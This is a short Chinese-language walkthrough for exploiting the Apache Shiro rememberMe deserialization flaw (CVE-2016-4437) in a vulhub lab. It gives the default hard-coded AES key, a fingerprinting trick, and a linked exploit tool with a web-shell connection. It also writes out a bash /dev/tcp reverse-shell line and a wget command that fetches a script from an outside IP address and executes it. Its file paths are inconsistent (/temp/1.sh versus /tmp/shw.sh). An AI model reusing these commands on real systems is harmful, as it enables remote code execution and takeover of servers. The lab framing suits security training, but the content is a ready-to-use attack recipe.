Shiro框架漏洞攻略
Shiro漏洞原理
在Shiro框架下,⽤户登陆成功后会⽣成⼀个经过加密的Cookie。其Cookie的Key的值为 RememberMe,Value的值是经过序列化、AES加密和Base64编码后得到的结果。
服务端在接收到⼀个Cookie时,会按照如下步骤进⾏解析处理:
- 检索RememberMe Cookie的值
- 进⾏Base64解码
- 进⾏AES解码
- 进⾏反序列化操作
在第4步中的调⽤反序列化时未进⾏任何过滤,进⽽可以导致出发远程代码执⾏漏洞。
由于使⽤了AES加密,成功利⽤该漏洞需要获取AES的加密密钥,在Shiro1.2.4版本之前AES的加密密钥为硬编码,其默认密钥的Base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==,于是就可得到Payload的构造流程:
恶意命令-->序列化-->AES加密-->base64编码-->发送Cookie
⽬前官⽅通过去掉硬编码的密钥是的每次⽣成⼀个密钥来解决其漏洞,但可以通过搜索引擎等⽅式收集到不同的密钥,提⾼对该漏洞的利⽤成功率。
环境
vulhub靶场 /shiro/CVE-2016-4437
Shiro rememberMe反序列化漏洞(Shiro-550)
打开靶机网址,直接抓包
在请求包中的cookie字段中添加rememberMe=123;,看响应包 header中是否返回rememberMe=deleteMe值,若有,则证明该系统使⽤了Shiro框架
使用工具shiro_attack-2.2.jar
shiro_attack⼯具:https://github.com/j1anFen/shiro_attack
之后使用蚁剑连接就可以了
反弹shell
在云服务器上写一个反弹shell命令到1.sh
bash -i >& /dev/tcp/39.105.61.160/6666 0>&1
nc监听6666端口
使用shiro_attack⼯具
/usr/bin/wget -qO /temp/1.sh http://39.105.61.160/1.sh
ls /tmp
/bin/bash /tmp/shw.sh
这样就可以监听到shell